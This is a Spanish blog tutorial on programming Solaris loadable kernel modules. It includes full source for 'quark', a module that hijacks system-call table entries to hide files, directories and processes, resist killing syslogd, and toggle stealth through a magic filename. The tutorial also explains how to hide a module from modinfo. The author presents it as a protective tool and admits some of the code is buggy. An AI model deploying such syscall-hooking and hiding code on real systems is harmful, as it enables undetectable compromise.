int (*oldkill) (int, int);
int (*oldgetdents64) (int, struct dirent64 *, size_t);
int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldopen) (const char *path, int oflag, mode_t mode);
int (*oldchdir) (const char *path);

char toggle[] = TOGGLE;
char syslogdname[] = SYSLOGDNAME;
char hidefilename[] = HIDEFILENAME;
int secureflag = TRUE;
int hidesyslogd = FALSE;

/*
 * Functions to know if a process is a syslogger, in order to
 * hide it. Code ripped from Plasmoid's sift.c.
 */
int issyslogd(pid_t pid)
{
    proc_t *proc;
    char *psargs;
    int ret;

    proc = (proc_t *) prfind(pid);
    psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);
    if (proc != NULL)
	memcpy(psargs, PTOU(proc)-&#62;u_psargs, PSARGSZ);
    else
	return FALSE;

    if (strstr(psargs, (char *) &#38;syslogdname) != NULL)
	ret = TRUE;
    else
	ret = FALSE;

    kmem_free(psargs, PSARGSZ);
    return ret;
}

int checkbyname(char *name)
{
    if (isdigit(name) &#38;&#38; issyslogd(myatoi(name)))
	return TRUE;
    else
	return FALSE;
}

int isdigit(char *str)
{
    int i, ret;

    ret = TRUE;
    for (i = 0; ret &#38;&#38; i &#60; strlen(str); i++)
	if (str[i] &#60; '0' &#124;&#124; str[i] &#62; '9')
	    ret = FALSE;

    return ret;
}

int myatoi(char *str)
{
    int res = 0;
    int mul = 1;
    char *ptr;
    for (ptr = str + strlen(str) - 1; ptr &#62;= str; ptr--) {
	if (*ptr &#60; '0' &#124;&#124; *ptr &#62; '9')
	    return (-1);
	res += (*ptr - '0') * mul;
	mul *= 10;
    }
    return res;
}

int savesysent()
{
    int i;

    for(i = 0; i &#60; MAXSYSCALLS; i++) {
        memcpy(&#38;sysent_backup[i], &#38;sysent[i], sizeof(struct sysent));
    }
}

int checksysent()
{
    int i, ret;

    ret = FALSE;

    for(i = 0; i &#60; MAXSYSCALLS; i++) {
        if(sysent[i].sy_call != sysent_backup[i].sy_call) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "system call %d has been modified (old: %p new: %p)\n",
                    i, sysent_backup[i].sy_call, sysent[i].sy_call);
#endif
            ret = TRUE;
            sysent[i].sy_call = sysent_backup[i].sy_call;
        }
    }

    return ret;
}

/* NEW FUNCTIONS... */

/*
 * New syscall creat64 in order to set a security toggle
 */
int newcreat64(const char *path, mode_t mode)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) &#38; len);

    if (strstr(namebuf, (char *) &#38;toggle) != NULL) {
	if (secureflag) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: exiting from secure mode");
#endif
	    secureflag = FALSE;
	} else {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: entering into secure mode");
#endif
	    secureflag = TRUE;
	}
        if (checksysent()) {
	    set_errno(ESRCH);
	    return -1;
        }
	set_errno(ENFILE);
	return -1;
    } else
	return oldcreat64(path, mode);
}

/*
 * New syscall kill
 */
int newkill(int pid, int signal)
{
    if (secureflag &#38;&#38; issyslogd(pid)) {
#ifdef DEBUG
        cmn_err(CE_NOTE, "quark: not allowing to kill process (%i)", pid);
        cmn_err(CE_NOTE, "quark: process %i hidden", pid);
#endif
        hidesyslogd = TRUE;
	set_errno(ESRCH);
        return -1;
    } else
        return oldkill(pid, signal);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * entering directories that contain the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newchdir(const char *path)
{
    char namebuf[1028];
    int len;

    copyinstr(path, namebuf, 1028, (size_t *) &#38; len);

    if (secureflag &#38;&#38; strstr(namebuf, (char *) &#38;hidefilename) != NULL) {
#ifdef DEBUG
	cmn_err(CE_NOTE, "quark: hiding directory (%s)", namebuf);
#endif
	set_errno(ENOENT);
	return -1;
    } else
	return oldchdir(path);
}

/*
 * If the secureflag feature is enabled (see above), this syscall will avoid
 * reading the content of files containing the syslogdname word in their name.
 * Security switch: see newcreat64() function.
 */
int newopen64(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen64(path, oflag, mode);

    if (ret &#62;= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) &#38; len);

	if (secureflag &#38;&#38; strstr(namebuf, (char *) &#38;hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

int newopen(const char *path, int oflag, mode_t mode)
{
    int ret;
    int len;
    char namebuf[1028];

    ret = oldopen(path, oflag, mode);

    if (ret &#62;= 0) {
	copyinstr(path, namebuf, 1028, (size_t *) &#38; len);

	if (secureflag &#38;&#38; strstr(namebuf, (char *) &#38;hidefilename) != NULL) {
#ifdef DEBUG
	    cmn_err(CE_NOTE, "quark: hiding content of file (%s)", namebuf);
#endif
	    set_errno(ENOENT);
	    return -1;
	}
	return ret;
    }
}

/*
 * This function has been recoded from the original source of itf.c
 * by plaguez. It does not work properly with files containing the
 * syslogdname string more than once. Don`t play with it, files containing
 * more than one syslogdname string definitely cause crashes, this bug is
 * even present in the original code.
 * This might sound like a bug, but I don't care, I never came to
 * the situation renaming a file containing the syslogdname word more
 * than once.
 */
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)
{
    int ret, oldret, i, reclen;
    struct dirent64 *buf2, *buf3;

    oldret = (*oldgetdents64) (fildes, buf, nbyte);
    ret = oldret;

    if (ret &#62; 0) {
	buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);
	copyin((char *) buf, (char *) buf2, ret);
	buf3 = buf2;

	i = ret;
	while (i &#62; 0) {
	    reclen = buf3-&#62;d_reclen;
	    i -= reclen;

	    if ((strstr((char *) &#38;(buf3-&#62;d_name), (char *) &#38;syslogdname) != NULL)
                &#124;&#124; checkbyname((char *) &#38;(buf3-&#62;d_name))
               ) {
#ifdef DEBUG
		cmn_err(CE_NOTE, "quark: hiding file/process (%s)", buf3-&#62;d_name);
#endif
		if (i != 0)
/*
		    memmove(buf3, (char *) buf3 + buf3-&#62;d_reclen, i);
*/
		    buf3-&#62;d_off = 1024;
		else
		    buf3-&#62;d_off = 1024;
		ret -= reclen;

	    }
	    if (buf3-&#62;d_reclen &#60; 1) {
		ret -= i;
		i = 0;
	    }
	    if (i != 0)
		buf3 = (struct dirent64 *) ((char *) buf3 + buf3-&#62;d_reclen);
	}
	copyout((char *) buf2, (char *) buf, ret);
	kmem_free(buf2, oldret);
    }
    return ret;
}

/* STANDARD LKM FUNCTIONS */

int _init(void)
{
    int i;

    if ((i = mod_install(&#38;modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not install module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully installed");
#endif

    oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;
    oldkill = (void *) sysent[SYS_kill].sy_callc;
    oldgetdents64 = (void *) sysent[SYS_getdents64].sy_callc;
    oldopen64 = (void *) sysent[SYS_open64].sy_callc;
    oldopen = (void *) sysent[SYS_open].sy_callc;
    oldchdir = (void *) sysent[SYS_chdir].sy_callc;

    sysent[SYS_creat64].sy_callc = (void *) newcreat64;
    sysent[SYS_kill].sy_callc = (void *) newkill;
    sysent[SYS_getdents64].sy_callc = (void *) newgetdents64;
    sysent[SYS_open64].sy_callc = (void *) newopen64;
    sysent[SYS_open].sy_callc = (void *) newopen;
    sysent[SYS_chdir].sy_callc = (void *) newchdir;

    savesysent();

    return i;
}

int _info(struct modinfo *modinfop)
{
    return (mod_info(&#38;modlinkage, modinfop));
}

int _fini(void)
{
    int i;

    if ((i = mod_remove(&#38;modlinkage)) != 0)
	cmn_err(CE_NOTE, "Could not remove module\n");
#ifdef DEBUG
    else
	cmn_err(CE_NOTE, "quark: successfully removed");
#endif

    sysent[SYS_creat64].sy_callc = (void *) oldcreat64;
    sysent[SYS_kill].sy_callc = (void *) oldkill;
    sysent[SYS_getdents64].sy_callc = (void *) oldgetdents64;
    sysent[SYS_open64].sy_callc = (void *) oldopen64;
    sysent[SYS_open].sy_callc = (void *) oldopen;
    sysent[SYS_chdir].sy_callc = (void *) oldchdir;

    return i;
}</pre>
<h4>Conclusiones</h4>
<p>A lo largo de estos dos artículos hemos podido comprobar como Solaris tiene una arquitectura modular, en la que los módulos de kernel son parte fundamental de la potencia y flexibilidad del sistema. Tantas son las posibilidades que este mecanismo proporciona que se ha convertido en los últimos tiempos en un nuevo campo de batalla en cuanto a la seguridad e integridad en sistemas.</p>
<p>Son muchos los esfuerzos tanto por parte de programadores de xploits, rootkits, y LKMs troyanizados, como por la de los coordinadores de proyectos de seguridad como StMichael, Papillon, etc. de explorar este nuevo espacio de acción. Atrás quedaron los días en los que conseguir una escalada de privilegios hasta ser root consistían los objetivos de los primeros, y guardar por que eso no se produzca el de los segundos. Nuestro módulo pretende ser una nueva aportación a este grupo de herramientas de protección.</p>
<p>Este texto puede entenderse como un acercamiento al kernel de Solaris, así como un manual de programación de nuevos LKMs que modifiquen el comportamiento del sistema en beneficio del administrador del mismo. Hemos pretendido ser claros y concisos, sin entrar en detalles que puedan confundir al lector y sin quedarnos en lo meramente superficial.</p>
<p>Por último nos gustaría agradecer la colaboración involuntaria de todos aquellos creadores de LKMs que han hecho esfuerzos por explicar sus progresos, facilitar documentación detallada y redactar artículos explicativos. Esperamos que este texto contribuya a esa lista de documentos que ayuden a otros a crear sus propios módulos.</p>
<h4>Referencias</h4>
<p>Cuando programé el LKM para Solaris me fijé en todo lo que había desarrollado sobre el tema hasta el momento, muchas de las referencias tienen varios años ya, seguro que cada uno de los autores ha ido renovando sus proyectos y documentaciones, pero aquí están las fuentes:</p>
<ul>
<li>Clemens, Jonathan. 9 de junio de 2001. "Knark: Linux Kernel Subversion". Intrusion Detection FAQ. SANS Institute. <a href="http://www.sans.org/newlook/resources/IDFAQ/knark.htm">http://www.sans.org/newlook/resources/IDFAQ/knark.htm</a></li>
<li>Foundstone, Inc. 10 de junio de 2001. "Carbonite v1.0 - A Linux Kernel Module to aid in RootKit detection." Foundstone, Inc. <a href="http://www.foundstone.com/rdlabs/proddesc/carbonite.html">http://www.foundstone.com/rdlabs/proddesc/carbonite.html</a></li>
<li>FuSyS. 19 de agosto de 2000. "KSTAT - Kernel Security Therapy Anti-Troll". s0ftpr0ject2000. <a href="http://www.s0ftpj.org/tools/kstat.tgz">http://www.s0ftpj.org/tools/kstat.tgz</a></li>
<li>Halflife. 1 de septiembre de 1997. “Bypassing Integrity Checking Systems”. Phrack Magazine Volume 7, Issue 51, article 09 of 17. <a href="http://www.phrack.org/phrack/51/P51-09">http://www.phrack.org/phrack/51/P51-09</a></li>
<li>Jensen, Runar. 9 de octubre de 1997"Malicious Linux modules". Bugtraq. <a href="http://www.dataguard.no/bugtraq/1997_4/0059.html">http://www.dataguard.no/bugtraq/1997_4/0059.html</a></li>
<li>Jones, Andrew R. 12 de junio de 2001. “A Review of Loadable Kernel Modules”. SANS <a href="http://rr.sans.org/linux/kernel_mods.php">http://rr.sans.org/linux/kernel_mods.php</a></li>
<li>Lawless, Timothy. 2 de noviembre de 2000. "Saint Jude, The Model". Version 1.0. SourceForge. <a href="http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf">http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf</a></li>
<li>Lawless, Timothy. 21 de enero de 2002. StMichael_LKM-0.08.tar.gz. SourceForge. <a href="http://packetstormsecurity.nl/linux/security/StMichael_LKM-0.08.tar.gz">http://packetstormsecurity.nl/linux/security/StMichael_LKM-0.08.tar.gz</a></li>
<li>McDougall, Richard &#38; Mauro, Jim. 26 de junio de 2001. Solaris Internals Kernel Architecture &#38; Implementation. Sun Microsystems, Inc.</li>
<li>pIGpEN. 18 de abril del 2000. "LKM Detector". s0ftpr0ject2000. <a href="http://www.s0ftpj.org/tools/sec_lkm.c">http://www.s0ftpj.org/tools/sec_lkm.c</a></li>
<li>Plasmoid/THC. 22 de diciembre de 1999. "Solaris Loadable Kernel Modules". Version 1.0. Packet storm. [http://packetstorm.securify.com/groups/thc/slkm-1.0.html</li>
<li>RedHat, Inc. 11 de junio de 2001. "Red Hat Linux General Security Advisory". <a href="http://www.redhat.com/support/errata/RHSA-2000-108.html">http://www.redhat.com/support/errata/RHSA-2000-108.html</a></li>
<li>Reynolds, Patrick. 22 de junio de 2000. "Linux capability bounding set weakness". Bugtraq. <a href="http://pweb.netcom.com/%7Espoon/lcap/bugtraq.txt">http://pweb.netcom.com/~spoon/lcap/bugtraq.txt</a></li>
<li>Spoon. "LCAP". 17 de septiembre de 2000. <a href="http://pweb.netcom.com/%7Espoon/lcap/">http://pweb.netcom.com/~spoon/lcap/</a></li>
</ul>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Programación de LKMs en Solaris]]></title>
<link>http://txipi.wordpress.com/2006/11/17/programacion-de-lkms-en-solaris/</link>
<pubDate>Fri, 17 Nov 2006 13:07:01 +0000</pubDate>
<dc:creator>txipi</dc:creator>
<guid>http://txipi.wordpress.com/2006/11/17/programacion-de-lkms-en-solaris/</guid>
<description><![CDATA[Como últimamente estoy muy liado (tengo que preparar e impartir clases en la facultad y en el maste]]></description>
<content:encoded><![CDATA[<p>Como últimamente estoy muy liado (tengo que preparar e impartir clases en la facultad y en el master de seguridad), voy a permitirme rescatar código que tenía por aqui olvidado para no dejar el blog abandonado. Lo que voy a contar no es nada nuevo, pero no hay tampoco mucha documentacion en castellano y quiza a alguien le venga bien. En este texto aprenderemos a programar modulos del nucleo para Solaris y en el siguiente articulo veremos un ejemplo practico. El codigo esta sin tocar desde hace anos, asi que puede que haya algun bug, no estaria de mas que lo comentarais si asi lo veis ;-)</p>
<p><!--more--></p>
<p class="post-content">&#160;</p>
<h3>LKMs (Loadable Kernel Modules)</h3>
<h4>¿Qué es un LKM?</h4>
<p>Un LKM o Loadable Kernel Module es una funcionalidad modular dentro del kernel del Sistema Operativo que puede ser cargada o descargada bajo demanda y permite una mejor utilización de la memoria destinada al kernel dentro de la memoria del sistema.</p>
<p>Como ya sabemos, el kernel de UNIX comenzó siendo un gran ejecutable indivisible, un kernel monolítico. En él estaban incluidas todas las funcionalidades del sistema. Para entornos con altos requerimientos en cuanto a velocidad de sus peticiones al sistema y poca variación de sus características (por ejemplo, sistemas embebidos) esta solución era la mejor, pero los sistemas de propósito general pronto notaron sus carencias. La memoria es un recurso muy preciado y muchas partes del kernel tenían que estar en memoria a pesar de su escaso uso (drivers para dispositivos poco usados, etc.). Resultaba obvio que era necesario modularizar el kernel para hacer un uso más eficiente de la memoria y permitir mayor flexibilidad.</p>
<p>El kernel se dividió en multitud de “piezas” y sólo las piezas que utilizamos en un momento concreto serán las que estén cargadas en memoria. Para ello necesitaremos un gestor de carga y descarga de módulos del kernel, como ya veremos más adelante</p>
<h4>¿Para qué se utilizan?</h4>
<p>Los LKMs se utilizan principalmente en dos campos:</p>
<ul>
<li>Drivers de dispositivos</li>
<li>Seguridad (IDS, troyanos, etc.)</li>
</ul>
<p>Tal y como hemos comentado con anterioridad, un sistema con muchos dispositivos diferentes necesita gestionar un gran número de drivers para acceder a ellos, el gasto de memoria sería muy elevado si todos ellos estuvieran dentro de un kernel monolítico. En lugar de esto, mediante LKMs se cargan solamente los que se están utilizando en un preciso momento, y son descargados cuando dejan de utilizarse. Construir un módulo para el manejo de un dispositivo es una tarea relativamente compleja, pero Solaris pretende ayudar a sus usuarios desarrolladores mediante la interfaz DDI/DKI (Device Driver Interface/Driver Kernel Interface).</p>
<p>Su implicación en el campo de la seguridad también es bastante clara: los LKMs son una puerta a la memoria del kernel, por lo que un uso malicioso de ellos podría provocar comportamientos no deseados del sistema. Sin el cuidado adecuado se podría introducir código arbitrario en el kernel, con las consecuencias que ello conllevaría. La diferencia entre la ejecución de código arbitrario como usuario y la introducción de éste en el kernel es abismal: el kernel del sistema actúa como guardián del mismo y decide qué cosas pueden hacerse o no. Si ejecutamos código arbitrario como usuario, aunque sea como superusuario (root), siempre estaremos supeditados a las restricciones propias del kernel, sin embargo, si modificamos el kernel podremos superar esas restricciones, y el único límite entonces estará en los aspectos físicos del sistema. Si permitimos que un atacante modifique el kernel, estaremos dando la posibilidad de fijar las reglas de juego, ocultarse a todos los efectos a todos los usuarios (“root” incluido, como ya hemos dicho) y elaborar un mecanismo para que no sea posible su expulsión del sistema.</p>
<h4>¿Cómo se utilizan?</h4>
<p>Para utilizar un LKM es necesario cargarlo dentro de la memoria del kernel. Esto no se realiza de forma convencional, existen comandos especiales para la carga y descarga de los módulos del kernel. La mayoría de las funcionalidades del kernel de Solaris también utilizan este método (TCP/IP, SCSI, UFS...), así como herramientas o dispositivos externos (ipf, pppd, drivers de tarjetas de red...), por lo que no debe extrañarnos que exista un procedimiento bien definido para ello.</p>
<p>El proceso de carga y descarga de los módulos lo gestionan dos comandos muy sencillos de utilizar, “/usr/sbin/modload” y “/usr/sbin/modunload”, respectivamente. Antes de cargar un módulo conviene informarnos acerca del resto de módulos cargados, sus características, tamaño y demás, por lo que haremos uso del comando “/usr/sbin/modinfo”. Todos estos comandos tienen sus páginas de manual (“man modinfo”, por ejemplo), por lo que no nos extenderemos en detallar su empleo.</p>
<p>Veamos un ejemplo del proceso:</p>
<pre>bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs)
12 fe911e4e    164   -   1  fssnap_if (File System Snapshot Interface) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC) 

bash-2.03# modload quark 

bash-2.03# modinfo
Id Loadaddr   Size Info Rev Module Name
 5 fe8ec000   389a   1   1  specfs (filesystem for specfs)
 7 fe8f0c16   2334   1   1  TS (time sharing sched class)
 8 fe8f2ada    886   -   1  TS_DPTBL (Time sharing dispatch table)
10 fe8f2b52    194   -   1  pci_autoconfig (PCI BIOS interface)
11 fe8f2c66  20d5c   2   1  ufs (filesystem for ufs) 

[...]

132 fea68de1    1bc  21   1  redirmod (redirection module)
133 fe9ffdfd    d58  22   1  bufmod (streams buffer mod)
134 e12ad000   9914  13   1  pcfs (filesystem for PC)
135 e106fe56    1bf   -   1  quark (Quark LKM)</pre>
<p>Tal y como hemos visto, cada módulo dispone de un identificativo único (Id), con el que nos referiremos a él en el proceso de descarga, por lo que es importante recordarlo. modinfo, además, nos informa de la dirección de memoria a partir de la cual se ha cargado el módulo, su tamaño en bytes (la suma de sus secciones .text, .data y .bss), el número de información del driver (Info), el número de revisión del módulo y su nombre o descripción. El número de información del driver está en función del tipo de módulo que sea: si se trata de un driver de dispositivo “Info” contendrá un número informativo, pero si el módulo no es un driver, no incluirá este número. Este último tipo de módulos se conocen como misceláneos (“misc”) y es necesario declararlos como tales.</p>
<h4>Funcionamiento de un LKM</h4>
<p>Una vez cargado, un LKM reside en el área de memoria reservada para el kernel, y es capaz de acceder a las estructuras de datos creadas para la gestión de las llamadas al sistema. En función del uso que quiera darse a un módulo en concreto, éste deberá fijarse en unas u otras estructuras de datos e interrupciones, para poder dispensar el servicio deseado. Así pues, un módulo que haga funciones de driver de dispositivo, deberá estar atento a las peticiones de uso del mismo, a los flujos de datos entre las aplicaciones y el kernel, que es el único que maneja realmente el dispositivo, etc.</p>
<p>Un LKM orientado a la seguridad del sistema funcionará de forma similar, pero sus objetivos serán diferentes. Habrá que fijarse muy de cerca en la tabla de syscalls (como explicaremos posteriormente), los intentos de carga de otros módulos, las peticiones extrañas al sistema por parte de los usuarios, y todas los aspectos importantes en cuanto a registro del comportamiento normal del sistema.</p>
<h3>Programación de un LKM</h3>
<p>Estructura básica de un módulo de kernel</p>
<p>Los módulos de kernel necesitan disponer de unas estructuras básicas para poder ser cargados dentro del kernel. En Solaris esto es especialmente cierto y deberemos definir muchas variables y estructuras para poder programar un LKM sencillo. Otros Sistemas Operativos como Linux o FreeBSD no precisan una estructura básica tan compleja y pueden crearse módulos para ellos de forma muy sencilla.</p>
<p>Lo primero que deberemos incluir serán las cabeceras para utilizar el interfaz DDI de Solaris. Esto es necesario siempre, aunque no vayamos a desarrollar un driver de dispositivo. Otra cosa que deberemos incluir siempre en nuestros módulos será el conjunto de estructuras necesarias para que los comandos de carga, descarga e información sobre el módulo funcionen correctamente (struct como mod_ops, mod_miscops, modlmisc ó modlinkage).</p>
<p>Veamos un código de ejemplo de la estructuras básicas que han de existir en un LKM para Solaris:</p>
<pre>#include &#60;sys/ddi.h&#62;
#include &#60;sys/sunddi.h&#62;
#include &#60;sys/modctl.h&#62;

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
    &#38;mod_miscops,
    "Nombre del LKM",
}; 

static struct modlinkage modlinkage = {
    MODREV_1,
    (void *)&#38;modlmisc,
    NULL
};</pre>
<p>Como podemos observar, hemos incluido las cabeceras necesarias y hemos definido las estructuras modlmisc y modlinkage para un módulo “misceláneo”, es decir, para un módulo que no va a servir como driver de dispositivo. Esto implica que no dispone de información sobre el número de información del driver (Info). En la estructura modlmisc definimos el nombre que el módulo devolverá al sistema cuando sea solicitado ("Nombre del LKM").</p>
<p>Existe mucha ayuda en la documentación de Solaris acerca de estas estructuras, sus datos y su manejo (“man modldrv”, “man modlinkage”, “man modlstrmod”), pero considero que quedan fuera del ámbito de este texto y con saber la estructura básica de un LKM en Solaris nos basta.</p>
<p>Además de estas estructuras, todo módulo de kernel en Solaris debe incluir como mínimo tres funciones: _init(), _fini() e _info(). Su cometido es bastante obvio a la vista de sus nombres:</p>
<p>_init() inicializa el módulo y lo prepara para su carga. Esta función se llama antes de realizar cualquier otra cosa en un LKM.</p>
<pre>int _init(void)
{
    int i;
    if <img src="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_install%28&#38;modlinkage" /> != 0)
        cmn_err(CE_NOTE,"No se pudo instalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: instalación correcta");
    return i;
}</pre>
<p>Dentro de _init() se llama a mod_install() que toma modlinkage como argumento e instala en función de esos valores el módulo en el sistema. _init() devuelve el valor de su llamada a mod_install(), es decir, informa si se ha cargado correctamente el módulo o no. Otro punto importante es el uso de la función cmn_err(), que mediante el parámetro CE_NOTE indica que los mensajes se introducirán en el log del sistema como una notificación.</p>
<p>_info() devuelve información acerca de un módulo. Siempre que llamemos a esta función, habrá que llamar a mod_info() que utilizará los datos almacenados en la estructura modinfo. Si modinfo tiene como valor del nombre de módulo un string vacío, mod_info()no devolverá nada ( y /usr/sbin/modinfo no mostrará el módulo en su lista).</p>
<pre>int _info(struct modinfo *modinfop)
{
    return (mod_info(&#38;modlinkage, modinfop));
}</pre>
<p>_fini() prepara el módulo para su descarga. Cuando queremos descargar un módulo, llamamos a esta función. _fini()a su vez llamara a mod_remove() para proceder a la descarga del módulo. Es importante capturar el valor devuelto por esta función para comprobar si se han producido errores en la descarga.</p>
<pre>int _fini(void)
{
    int i;
    if <img src="http://blog.txipinet.com/index.php/2006/11/17/i%20=%20mod_remove%28&#38;modlinkage" /> != 0)
        cmn_err(CE_NOTE,"No se pudo desinstalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: desinstalación correcta");
    return i;
}</pre>
<p>En definitiva, utilizando las estructuras comentadas y las funciones _init(), _fini() e _info() podremos crear nuestros LKMs de forma sencilla, incluyendo lo que consideremos necesario tras _init(), y utilizando los mecanismos estándar de descarga.</p>
<h3>Métodos de ocultación del LKM</h3>
<p>Si vamos a emplear nuestros módulos para gestionar dispositivos externos no tiene ningún sentido ocultarlos. Es más, al contrario, es conveniente que estén visibles para que los usuarios sean capaces de saber qué módulos correspondientes a drivers de dispositivos están funcionando. Si nuestro objetivo es aumentar la seguridad del sistema, una práctica conveniente es ocultar el propio módulo de protección para no alertar a posibles intrusos y no centrar sus ataques en desactivar el módulo de seguridad. Es, por tanto, importante saber cómo ocultar nuestros módulos para mantener su propia seguridad y, por ende, la de todo el sistema.</p>
<p>Existen varias formas de ocultar un LKM de cara al usuario. La primera de ellas ya la hemos visto en el apartado anterior: si utilizamos una cadena vacía como descripción o nombre de nuestro módulo, modinfo no lo mostrará en su lista (a pesar de continuar cargado dentro del kernel). Además, modunload no devolverá un error si alguien pretende descargar un módulo que no estaba previamente cargado, por lo que no podrán detectar su presencia intentando descargar módulos que no salgan en la lista. Como primera aproximación esta medida puede valer, pero después de un análisis serio, cualquiera con dos dedos de frente podrá adivinar que nuestro módulo está ahí.</p>
<p>Si realmente queremos una protección seria para nuestro módulo que evite que sea listado y descargado de la memoria del kernel, deberemos parchear o suplantar el módulo ksyms que lista y maneja todos los símbolos del kernel en Solaris. Existe documentación al respecto y pruebas de concepto en Sistemas Operativos como Linux y FreeBSD acerca de esto (ver 7. Referencias).</p>
<p>La más reseñable de estas pruebas de concepto puede que sea el módulo itf.c, programado por Plaguez y publicado en la Phrack número 52. Una vez instalado dentro del kernel modificará la estructura mp que lo identifica como módulo y la tabla get_kernel_symbols, evitando de esta manera aparecer tanto en /proc/modules como en la salida de ksyms. Como efecto colateral, el módulo será imposible de descargar. Esto puede verse tanto como una funcionalidad como un defecto.</p>
<h3>Captura y Suplantación de las llamadas al sistema</h3>
<p>Lo más importante dentro de un módulo de monitorización del sistema es supervisar los eventos que en él se producen para comprobar si todo está dentro de la normalidad. Es necesario por tanto capturar las llamadas al sistema por parte de los diferentes usuarios y permitir realizar comprobaciones de esas llamadas suplantando los servicios originales del kernel.</p>
<p>Ya hemos tratado anteriormente el funcionamiento del kernel en Solaris en cuanto a las syscalls o peticiones al sistema. Todas esas llamadas se almacenan en un array denominado sysent en donde cada una de sus posiciones es una estructura que contiene información acerca de una syscall. Esto funciona de manera similar a otros Sistemas UNIX como Linux o la familia *BSD, si bien cada una de las estructuras para almacenar información acerca de una syscall es diferente en cada sistema.</p>
<p>Es necesario tener esto en cuenta a la hora de portar un LKM de Linux a Solaris, por ejemplo. Además, Solaris trabaja con arquitecturas de 32 y 64 bits mezcladas dentro del sistema, por lo que muchas de las syscalls más comunes (como open o create) tienen sus variedades de 32 y 64 bits. Para conocer cuál de ellas utiliza un determinado programa o comando podemos hacer uso del comando /usr/bin/truss. Así pues, por ejemplo, ps utiliza open() para abrir los ficheros que componen los procesos dentro de /proc, mientras que cat utiliza open64() para mostrar los contenidos de un fichero.</p>
<p>Existen diferentes maneras de suplantar las llamadas o peticiones al sistema de forma limpia y eficaz, pero lo primero que deberemos saber es cómo poder utilizar syscalls que no hayan sido definidas dentro de nuestros módulos. Plaguez da una solución en su artículo del e-zine Phrack: utilizar una macro para poder hacer uso de la programación mediante peticiones al sistema tradicional de la zona de usuario (en la siguiente sección discutiremos la diferencia entre zona de usuario y zona kernel):</p>
<pre>/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);</pre>
<p>Mediante este sistema podremos utilizar cualquier syscall de las que se piden normalmente desde la zona de usuario (fork, brk, open, read, write...), es decir, podremos construir la macro exacta para una función concreta de la zona de usuario (nótese que no toda función de la zona de usuario es una petición al sistema, pero sí un compendio de ellas).</p>
<p>Aunque esto pueda parecer un truco, realmente es lo que se utiliza en muchos sistemas para usar syscalls dentro del kernel. Sirva como muestra el siguiente código extraído del código fuente de Linux (/asm/unistd.h):</p>
<pre>#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
<b>asm</b> volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" <img src="http://blog.txipinet.com/index.php/2006/11/17/long%29%28arg1" />); \
if (__res &#62;= 0) \
	return (type) __res; \
errno = -__res; \
return -1; \
}</pre>
<p>NOTA: Las “\”s indican que todo debería estar en una única línea, no son parte del código.</p>
<p>A pesar de lo complejo que pueda parecer este código, tiene una sencilla explicación: simplemente llama a la interrupción 80h (la utilizada en Linux para hacer una petición al sistema) con los argumentos pasados como parámetros: type se utiliza para hacer un cast del valor devuelto, name para llamar a la syscall que corresponda (__NR_name, definidas todas en /asm/unistd.h) y arg1 es el parámetro pasado a la syscall.</p>
<p>Si bien éste es el método utilizado por los programadores del kernel de Linux, existe otra manera un poco más clara de realizar esto y será la que empleemos en nuestros módulos de aquí en adelante. El proceso consiste en definir un prototipo de función que se ajuste a la llamada a la syscall, y luego tomar de la tabla sys_ent el valor para la función definida en el prototipo, por ejemplo:</p>
<pre>int (*open)(char *, int, int);    /* declarar el prototipo */
open = sys_call_table[__NR_open]; /* tomar su valor de sysent */</pre>
<p>Pragmatic de THC y SVAT usan este método y ha sido probado muchas veces con éxito. En líneas generales, cuando queramos suplantar una llamada o petición al sistema deberemos seguir los siguientes pasos:</p>
<ol>
<li>Encontrar y estudiar la llamada o petición al sistema que queramos suplantar (conviene fijarse bien en los ficheros de cabecera .h).</li>
<li>Definir un prototipo de función similar a la syscall que queramos utilizar.</li>
<li>Encontrar la syscall original en la tabla de syscalls (sysent[]) y definir con su valor el prototipo previamente creado.</li>
<li>Crear una nueva función que suplante a la syscall original (normalmente hará uso de la syscall suplantada, por lo que los pasos anteriores son muy útiles para no “machacar” la syscall original).</li>
<li>Definir la posición que corresponda dentro de la tabla de syscalls como un puntero a la nueva función que suplantará a la original.</li>
</ol>
